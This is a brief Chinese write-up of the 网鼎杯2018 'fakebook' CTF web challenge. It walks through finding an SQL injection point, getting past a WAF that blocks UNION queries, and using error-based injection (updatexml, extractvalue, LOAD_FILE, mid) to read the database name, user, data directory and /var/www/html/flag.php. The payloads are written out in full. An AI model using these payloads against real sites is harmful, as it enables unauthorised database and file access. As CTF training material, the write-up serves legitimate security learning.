CTF-WEB-网鼎杯2018-fakebook
题目链接
知识考察:SQL报错注入+注入防火墙绕过
解题思路
1、首先注册账号,看到url:http://220.249.52.133:41721/view.php?no=1
2、尝试对no进行注入payload:1‘,有报错信息显示,证明存在注入点
3、开始进行SQL注入,联合查询提示no hack,被防火墙阻拦
4、尝试报错注入,注入成功,可以读取数据库名称、表名,但是没有在数据库找到flag
http://220.249.52.133:41721/view.php?no=1 and updatexml(1,concat(0,database(),0,user(),0,@@datadir),1)#
5、尝试使用load_file()函数,fuzz,flag.php,可以看到存在flag.php文件在/var/www/html/目录下
and (extractvalue(1,concat(0,(select (LOAD_FILE(‘/var/www/html/flag.php‘))),0)))#
6、因为updatexml、extractvalue有32位显示限制,结合mid()函数,读出全部flag内容
and updatexml(1,concat(1,0,(select mid(load_file(‘/var/www/html/flag.php‘),21))),1)#